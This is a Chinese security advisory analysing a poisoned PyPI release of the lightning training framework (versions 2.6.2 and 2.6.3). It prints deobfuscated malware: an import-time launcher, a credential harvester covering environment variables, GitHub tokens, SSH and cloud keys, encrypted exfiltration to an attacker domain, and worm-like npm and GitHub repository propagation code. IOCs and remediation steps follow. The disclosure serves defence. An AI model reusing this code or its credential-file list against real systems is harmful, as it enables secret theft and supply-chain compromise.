2026-05-02 05:34:37 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

文章总结： 墨思AIAgent于2026年4月30日监测发现PyTorchLightning训练框架在PyPI仓库遭遇供应链投毒，涉及2.6.2和2.6.3版本，月下载量超1000万。攻击者在runtime文件中植入恶意代码，用户导入lightning即触发窃密逻辑，收集环境变量、云服务密钥、Git凭据等敏感数据并加密回传至攻击者服务器。建议受影响用户立即移除受影响版本并轮换相关密钥。 综合评分： 87 文章分类： 供应链安全,漏洞预警,恶意软件,数据安全,云安全

cover_image

墨思AI AGENT监测发现 PyTorch Lightning 训练框架被投毒，月下载量超1000万

原创

安全实验室安全实验室

墨菲安全

2026年4月30日 23:57 山东

在小说阅读器读本章

去阅读

01.

概述

2026 年 4 月 30 日下午 8 点 50，墨菲安全研发的通用安全AI Agent 墨思监测发现，月下载量超1000万的 AI 训练框架 Lightning 的 PyPI 包遭遇供应链投毒，且截至发现时投毒版本仍未下架。Lightning 是基于 PyTorch 的深度学习训练框架，主要用于自动化模型训练流程，具备较高生态影响面。

本次投毒涉及 lightning 2.6.2 和 2.6.3 版本。攻击者在组件运行时文件中植入恶意代码，用户安装受影响版本并执行 import lightning 后即可触发窃密逻辑。恶意代码会收集开发者环境中的敏感凭据，包括环境变量、包管理器配置、Git/GitHub 凭据、SSH Key、云服务密钥、CI/CD 密钥、容器与集群配置、钱包文件、通信软件数据以及 Claude/Kiro MCP 等 AI 开发工具配置，并将数据回传至攻击者控制的服务器。

该事件属于高影响 Python / AI 生态供应链投毒攻击，攻击目标聚焦开发者主机、模型训练环境和 CI/CD 环境中的高价值凭据。建议已安装或导入受影响版本的用户立即排查环境、移除受影响版本，并轮换相关密钥。

02.

攻击者近期持续针对性投毒，前日SAP旗下组件受影响

4 月 29 日，NPM仓库中的@cap-js/db-service、@cap-js/sqlite 等多个组件也被发现存在同类恶意代码。作为 SAP CAP 框架的数据库服务核心组件，在npm中周下载量数十万次。

触发方式是 package.json 里的 preinstall 脚本和 lightning 侧的 start.py 是同一套逻辑的两种语言实现——相同的 Bun v1.3.13、相同的平台资产命名（bun-linux-x64-baseline/bun-darwin-aarch64等）、相同的 Alpine musl 探测，最终执行同体量的混淆 JS 载荷 execution.js（11,723,748 字节）。

```
setup.mjs &nbsp; &nbsp; &nbsp;SHA256:&nbsp;4066781fa830224c8bbcc3aa005a396657f9c8f9016f9a64ad44a9d7f5f45e34execution.js &nbsp; SHA256: eb6eb4154b03ec73218727dc643d26f4e14dfda2438112926bb5daf37ae8bcdb

两个案例的时间间隔不到 24 小时，当前攻击者仍在持续用同类手法对其他开源组件投毒。

**03.**

投毒代码分析

![](https://mmbiz.qpic.cn/sz_mmbiz_png/UiaccMk8iaCdyhFbuibJfzEmUpNeAKatohq2a0kMXTN6tendow7Qj7aOnGsPjwS9EmBUE8kOrZETRrVzUwlTY5icibg/640?from=appmsg&tp=webp&wxfrom=10005&wx_lazy=1#imgIndex=3)

以 lightning v2.6.2为例，投毒代码在 lightning/*runtime/router*runtime.js 中：

![](https://mmbiz.qpic.cn/mmbiz_png/cibAXD9R1dZicRhfmE77rZJfmSyK71LLtPsvcgFaSttfkesyCYmVOpd3qR2MhoNn4Gqtv6FLBx8avh6YFMpfVcTicLibkdJ8ibNqz9JkudhqMBjY/640?wx_fmt=png&from=appmsg#imgIndex=4)

反混淆后的恶意代码逻辑包括：

1. 导入即执行

文件路径：lightning/\_\_init\_\_.py，当用户 import lightning 时就会静默启动\_runtime/start.py：

import osimport subprocessimport sysimport threadingdef _run_runtime() ->&nbsp;None:&nbsp; &nbsp; runtime_dir = os.path.join(os.path.dirname(__file__),&nbsp;"_runtime")&nbsp; &nbsp; start = os.path.join(runtime_dir,&nbsp;"start.py")&nbsp; &nbsp; if os.path.exists(start):&nbsp; &nbsp; &nbsp; &nbsp; subprocess.Popen(&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; [sys.executable, start],&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cwd=runtime_dir,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; stdout=subprocess.DEVNULL,&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; stderr=subprocess.DEVNULL,&nbsp; &nbsp; &nbsp; &nbsp; )threading.Thread(target=_run_runtime, daemon=True).start()

2. 下载 Bun 并执行恶意JS

文件路径：lightning/\_runtime/start.py，这一步把 Python 包变成了“恶意加载器”，如果本机没有 Bun，它会先下载解释器，再执行 router\_runtime.js。

BUN_VERSION =&nbsp;"1.3.13"ENTRY_SCRIPT =&nbsp;"router_runtime.js"def&nbsp;main():&nbsp; &nbsp; local_bun = BUN_INSTALL_DIR / ("bun.exe"&nbsp;if&nbsp;is_win&nbsp;else&nbsp;"bun")&nbsp; &nbsp; system_bun = shutil.which("bun")&nbsp; &nbsp;&nbsp;if&nbsp;local_bun.exists():&nbsp; &nbsp; &nbsp; &nbsp; bun_exec =&nbsp;str(local_bun)&nbsp; &nbsp;&nbsp;elif&nbsp;system_bun:&nbsp; &nbsp; &nbsp; &nbsp; bun_exec = system_bun&nbsp; &nbsp;&nbsp;else:&nbsp; &nbsp; &nbsp; &nbsp; asset = resolve_asset_name()&nbsp; &nbsp; &nbsp; &nbsp; url =&nbsp;f"https://github.com/oven-sh/bun/releases/download/bun-v{BUN_VERSION}/{asset}.zip"&nbsp; &nbsp; &nbsp; &nbsp; urllib.request.urlretrieve(url, zip_path)&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# 解压出 bun 二进制到本地 .bun 目录&nbsp; &nbsp; subprocess.run([bun_exec,&nbsp;str(SCRIPT_DIR / ENTRY_SCRIPT)], cwd=SCRIPT_DIR)

3. 主控流程：收集结果、建立外传通道、再决定是否横向传播

信息窃取不是单点窃密，而是“收集 -> 外传 -> 再传播”的完整攻击链：

async&nbsp;function&nbsp;main() {&nbsp;&nbsp;await&nbsp;setupEnvironment();&nbsp;// 俄语环境退出、非 CI 后台化、加锁&nbsp;&nbsp;const&nbsp;primarySender =&nbsp;await&nbsp;new&nbsp;DomainSenderFactory({&nbsp; &nbsp;&nbsp;domain:&nbsp;"zero.masscan.cloud",&nbsp; &nbsp;&nbsp;port:&nbsp;443,&nbsp; &nbsp;&nbsp;path:&nbsp;"v1/telemetry",&nbsp; &nbsp;&nbsp;dry_run:&nbsp;false,&nbsp; }).tryCreate();&nbsp;&nbsp;const&nbsp;quickResults =&nbsp;await&nbsp;Promise.all([&nbsp; &nbsp;&nbsp;collectFilesystemSecrets(),&nbsp; &nbsp;&nbsp;collectShellAndEnv(),&nbsp; &nbsp;&nbsp;collectGitHubRunnerSecrets(),&nbsp; ]);&nbsp;&nbsp;const&nbsp;githubSender =&nbsp;await&nbsp;createGitHubSenderFromHiddenToken();&nbsp;&nbsp;const&nbsp;selfGithubSender =&nbsp;await&nbsp;createGitHubSenderFromStolenPATs(quickResults);&nbsp;&nbsp;const&nbsp;senders = [primarySender, githubSender, selfGithubSender].filter(Boolean);&nbsp;&nbsp;const&nbsp;collectors = [&nbsp; &nbsp;&nbsp;new&nbsp;AwsSsmCollector(),&nbsp; &nbsp;&nbsp;new&nbsp;AwsSecretsManagerCollector(),&nbsp; &nbsp;&nbsp;new&nbsp;AwsStsCollector(),&nbsp; &nbsp;&nbsp;new&nbsp;AzureKeyVaultCollector(),&nbsp; &nbsp;&nbsp;new&nbsp;GcpSecretManagerCollector(),&nbsp; ];&nbsp;&nbsp;for&nbsp;(const&nbsp;token&nbsp;of&nbsp;extractGitHubPATs(quickResults)) {&nbsp; &nbsp;&nbsp;if&nbsp;(await&nbsp;isValidGitHubToken(token)) {&nbsp; &nbsp; &nbsp; collectors.push(new&nbsp;GitHubActionsSecretsCollector(token));&nbsp; &nbsp; }&nbsp; }&nbsp;&nbsp;await&nbsp;queueAndDispatch(quickResults, collectors, senders);&nbsp;&nbsp;for&nbsp;(const&nbsp;runnerToken&nbsp;of&nbsp;extractRunnerTokens(quickResults)) {&nbsp; &nbsp;&nbsp;await&nbsp;new&nbsp;GitHubRepoInfector(runnerToken).execute();&nbsp; }}

4. 本地与 CI 凭据窃取

它会直接取 gh auth token，还会整包打走 process.env。在 GitHub Actions 里，它不是读普通配置文件，而是试图从 runner 运行环境中把 secrets 挖出来。敏感文件扫描面覆盖开发机、云凭据、Kubernetes、Docker、SSH、AI 工具配置。

async&nbsp;function&nbsp;collectShellAndEnv()&nbsp;{&nbsp;&nbsp;const&nbsp;result = {};&nbsp;&nbsp;try&nbsp;{&nbsp; &nbsp;&nbsp;const&nbsp;token = execSync("gh auth token", {&nbsp; &nbsp; &nbsp; encoding:&nbsp;"utf-8",&nbsp; &nbsp; &nbsp; stdio: ["pipe",&nbsp;"pipe",&nbsp;"pipe"],&nbsp; &nbsp; }).trim();&nbsp; &nbsp;&nbsp;if&nbsp;(token) result.token = token;&nbsp; }&nbsp;catch&nbsp;{}&nbsp; result.environment = process.env;&nbsp;&nbsp;return&nbsp;success(result);}async&nbsp;function&nbsp;collectGitHubRunnerSecrets()&nbsp;{&nbsp;&nbsp;if&nbsp;(process.env.GITHUB_ACTIONS !==&nbsp;"true")&nbsp;return&nbsp;failure("Not Actions");&nbsp;&nbsp;if&nbsp;(process.env.RUNNER_OS !==&nbsp;"Linux")&nbsp;return&nbsp;failure("Not running on Linux runner");&nbsp;&nbsp;const&nbsp;dump = execSync(&nbsp; &nbsp; `sudo python3 | tr -d&nbsp;'\\0'&nbsp;| grep -aoE&nbsp;'"[^"]+":\\{"value":"[^"]*","isSecret":true\\}'&nbsp;| sort -u`,&nbsp; &nbsp; { input: K4f, encoding:&nbsp;"utf-8"&nbsp;}&nbsp; );&nbsp;&nbsp;// 从 runner 内存内容中抽取 GitHub Actions secrets&nbsp;&nbsp;return&nbsp;success(parseSecrets(dump));}const&nbsp;HOTSPOTS = [&nbsp;&nbsp;"**/.env",&nbsp;&nbsp;"~/.aws/credentials",&nbsp;&nbsp;"~/.config/gcloud/application_default_credentials.json",&nbsp;&nbsp;"~/.kube/config",&nbsp;&nbsp;"~/.npmrc",&nbsp;&nbsp;"~/.pypirc",&nbsp;&nbsp;"~/.ssh/id_rsa",&nbsp;&nbsp;"/var/run/secrets/kubernetes.io/serviceaccount/token",&nbsp;&nbsp;"~/.claude.json",&nbsp;&nbsp;"~/.claude/mcp.json",&nbsp;&nbsp;".kiro/settings/mcp.json",];

5. 加密外传到攻击者域名

恶意代码先 gzip，再 AES-256-GCM，再用攻击者 RSA 公钥包一层。这说明作者明确考虑了被中途抓包和被动取证的问题。

async&nbsp;function&nbsp;createEnvelope(data) {&nbsp;&nbsp;const&nbsp;gz =&nbsp;await&nbsp;gzip(Buffer.from(JSON.stringify(data)));&nbsp;&nbsp;const&nbsp;aesKey =&nbsp;randomBytes(32);&nbsp;&nbsp;const&nbsp;iv =&nbsp;randomBytes(12);&nbsp;&nbsp;const&nbsp;encryptedKey =&nbsp;publicEncrypt(&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp;&nbsp;key:&nbsp;ATTACKER_RSA_PUBLIC_KEY,&nbsp; &nbsp; &nbsp;&nbsp;padding: constants.RSA_PKCS1_OAEP_PADDING,&nbsp; &nbsp; &nbsp;&nbsp;oaepHash:&nbsp;"sha256",&nbsp; &nbsp; },&nbsp; &nbsp; aesKey&nbsp; );&nbsp;&nbsp;const&nbsp;cipher =&nbsp;createCipheriv("aes-256-gcm", aesKey, iv);&nbsp;&nbsp;const&nbsp;ciphertext =&nbsp;Buffer.concat([&nbsp; &nbsp; cipher.update(gz),&nbsp; &nbsp; cipher.final(),&nbsp; &nbsp; cipher.getAuthTag(),&nbsp; ]);&nbsp;&nbsp;return&nbsp;{&nbsp; &nbsp;&nbsp;envelope:&nbsp;Buffer.concat([iv, ciphertext]).toString("base64"),&nbsp; &nbsp;&nbsp;key: encryptedKey.toString("base64"),&nbsp; };}async&nbsp;function&nbsp;sendToDomain(envelope) {&nbsp;&nbsp;await&nbsp;fetch("https://zero.masscan.cloud:443/v1/telemetry", {&nbsp; &nbsp;&nbsp;method:&nbsp;"POST",&nbsp; &nbsp;&nbsp;headers: {&nbsp;"Content-Type":&nbsp;"application/json"&nbsp;},&nbsp; &nbsp;&nbsp;body:&nbsp;JSON.stringify(envelope),&nbsp; });}

6. GitHub 备用外传：隐藏 token + 新建仓库 + commit 数据

先去 GitHub 提交历史里搜一个隐藏标记，尝试捞出攻击者预埋的 token。成功后，它会新建公开仓库，把窃取结果提交到 results/results-\*.json。某些场景下它还会把新的 token 再次编码进 commit message，形成自举式通道。

async&nbsp;function&nbsp;findHiddenGitHubToken(optionalVictimToken) {&nbsp;&nbsp;const&nbsp;url =&nbsp; &nbsp;&nbsp;"https://api.github.com/search/commits"&nbsp;+&nbsp; &nbsp;&nbsp;"?q=EveryBoiWeBuildIsAWormyBoi&sort=author-date&order=desc&per_page=50";&nbsp;&nbsp;const&nbsp;results =&nbsp;await&nbsp;fetchJson(url, optionalVictimToken);&nbsp;&nbsp;for&nbsp;(const&nbsp;item&nbsp;of&nbsp;results.items&nbsp;?? []) {&nbsp; &nbsp;&nbsp;const&nbsp;m = item.commit.message.match(&nbsp; &nbsp; &nbsp;&nbsp;/^EveryBoiWeBuildIsAWormyBoi:([A-Za-z0-9+/]+={0,3})$/&nbsp; &nbsp; );&nbsp; &nbsp;&nbsp;if&nbsp;(!m)&nbsp;continue;&nbsp; &nbsp;&nbsp;const&nbsp;token =&nbsp;Buffer.from(&nbsp; &nbsp; &nbsp;&nbsp;Buffer.from(m[1],&nbsp;"base64").toString(),&nbsp; &nbsp; &nbsp;&nbsp;"base64"&nbsp; &nbsp; ).toString();&nbsp; &nbsp;&nbsp;if&nbsp;(await&nbsp;hasRepoScope(token))&nbsp;return&nbsp;createOctokit(token);&nbsp; }&nbsp;&nbsp;return&nbsp;false;}async&nbsp;function&nbsp;commitToRepo(envelope) {&nbsp;&nbsp;const&nbsp;content =&nbsp;Buffer.from(JSON.stringify(envelope,&nbsp;null,&nbsp;2),&nbsp;"utf8").toString("base64");&nbsp;&nbsp;const&nbsp;message = envelope.token&nbsp; &nbsp; ?&nbsp;`EveryBoiWeBuildIsAWormyBoi:${envelope.token}`&nbsp; &nbsp; :&nbsp;"Add files.";&nbsp;&nbsp;await&nbsp;octokit.request("POST /user/repos", {&nbsp; &nbsp;&nbsp;name:&nbsp;randomDuneName(),&nbsp; &nbsp;&nbsp;private:&nbsp;false,&nbsp; &nbsp;&nbsp;auto_init:&nbsp;true,&nbsp; &nbsp;&nbsp;description:&nbsp;"A Mini Shai-Hulud has Appeared",&nbsp; });&nbsp;&nbsp;await&nbsp;octokit.rest.repos.createOrUpdateFileContents({&nbsp; &nbsp; owner,&nbsp; &nbsp; repo,&nbsp; &nbsp;&nbsp;path:&nbsp;`results/results-${Date.now()}-${counter++}.json`,&nbsp; &nbsp; message,&nbsp; &nbsp; content,&nbsp; });}

7. NPM 传播：篡改 tarball，植入`preinstall`

这是标准的供应链投毒逻辑：下载包、加入 router\_runtime.js、写入 setup.mjs、篡改 preinstall、再尝试发布。

它利用的是 GitHub Actions 的 OIDC 能力去换 NPM 发布令牌。

async&nbsp;function&nbsp;updateTarball(tgzPath) {&nbsp;&nbsp;unpackTarball(tgzPath, tmpDir);&nbsp;&nbsp;copyFileSync(Bun.main,&nbsp;`${tmpDir}/package/router_runtime.js`);&nbsp;&nbsp;const&nbsp;pkg =&nbsp;JSON.parse(await&nbsp;readFile(`${tmpDir}/package/package.json`,&nbsp;"utf-8"));&nbsp; pkg.scripts&nbsp;??= {};&nbsp; pkg.scripts.preinstall&nbsp;=&nbsp;"node setup.mjs";&nbsp; pkg.version&nbsp;=&nbsp;bumpPatch(pkg.version);&nbsp;&nbsp;await&nbsp;writeFile(`${tmpDir}/package/setup.mjs`, zT);&nbsp;&nbsp;await&nbsp;writeFile(`${tmpDir}/package/package.json`,&nbsp;JSON.stringify(pkg,&nbsp;null,&nbsp;2));&nbsp;&nbsp;return&nbsp;repackTarball(tmpDir,&nbsp;"package-updated.tgz");}async&nbsp;function&nbsp;executeNpmPropagation() {&nbsp;&nbsp;const&nbsp;{&nbsp;ACTIONS_ID_TOKEN_REQUEST_TOKEN,&nbsp;ACTIONS_ID_TOKEN_REQUEST_URL&nbsp;} = process.env;&nbsp;&nbsp;const&nbsp;{&nbsp;value: oidcToken } =&nbsp;await&nbsp;fetch(&nbsp; &nbsp;&nbsp;`${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=npm:registry.npmjs.org`,&nbsp; &nbsp; {&nbsp;headers: {&nbsp;Authorization:&nbsp;`bearer&nbsp;${ACTIONS_ID_TOKEN_REQUEST_TOKEN}`&nbsp;} }&nbsp; ).then((r) =>&nbsp;r.json());&nbsp;&nbsp;await&nbsp;downloadPackages(["@placeholder/package"], oidcToken);}

8. GitHub 仓库传播：向仓库里塞`.claude` / `.vscode` 持久化文件

const&nbsp;FILE_UPDATES&nbsp;= {&nbsp;&nbsp;".vscode/tasks.json": vscodeTasks,&nbsp;&nbsp;".claude/router_runtime.js": {&nbsp;sourcePath:&nbsp;Bun.main&nbsp;},&nbsp;&nbsp;".claude/settings.json": claudeSettings,&nbsp;&nbsp;".claude/setup.mjs": zT,&nbsp;&nbsp;".vscode/setup.mjs": zT,};async&nbsp;function&nbsp;infectRepo(ghsToken) {&nbsp;&nbsp;const&nbsp;branches =&nbsp;await&nbsp;fetchEligibleBranches();&nbsp;&nbsp;await&nbsp;pushChunkedFileUpdates(&nbsp; &nbsp; branches.map((branch) =>&nbsp;({&nbsp; &nbsp; &nbsp;&nbsp;branchName: branch.name,&nbsp; &nbsp; &nbsp;&nbsp;expectedHeadOid: branch.headOid,&nbsp; &nbsp; &nbsp;&nbsp;files:&nbsp;materializeFiles(FILE_UPDATES),&nbsp; &nbsp; &nbsp;&nbsp;commitHeadline:&nbsp;"chore: update dependencies",&nbsp; &nbsp; }))&nbsp; );}

**04.**

IOC

![](https://mmbiz.qpic.cn/sz_mmbiz_png/UiaccMk8iaCdyhFbuibJfzEmUpNeAKatohq2a0kMXTN6tendow7Qj7aOnGsPjwS9EmBUE8kOrZETRrVzUwlTY5icibg/640?from=appmsg&tp=webp&wxfrom=10005&wx_lazy=1#imgIndex=5)

恶意文件Hash：

3071422c3294e7b61cb490c57c48c8dea569bacf12e57a078293b6547d7586d3&nbsp; lightning-2.6.2-py3-none-any.whl56070a9d8de0c0ffb1ec5c309953cf4679432df5a78df9aeb020fbb73d2be9fb&nbsp; lightning-2.6.3-py3-none-any.whl5f5852b5f604369945118937b058e49064612ac69826e0adadca39a357dfb5b1&nbsp; lightning/_runtime/router_runtime.js

“`

信息外传地址

https[:]//zero.masscan[.]cloud:443/v1/telemetry

05.

处置建议

通过安全工具排查在代码项目、制品、内部制品库中是否引入了lightning的2.6.2、2.6.3版本

基于文件哈希判断是否存在恶意的 router_runtime.js 文件

如果受影响则必须轮换凭证包括：

GitHub：吊销所有 PAT、检查 Actions secrets 全量、改用短 TTL OIDC token
AWS：失活 access key、CloudTrail 查 IMDS 请求时间前后的异常调用
Azure / GCP：service principal / service account key 全量重置
npm：npm token revoke 名下所有 token、检查近一周 publish 历史
SSH 密钥对

部分典型客户

七大产品矩阵

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：墨菲安全安全实验室安全实验室《墨思AI AGENT监测发现 PyTorch Lightning 训练框架被投毒，月下载量超1000万》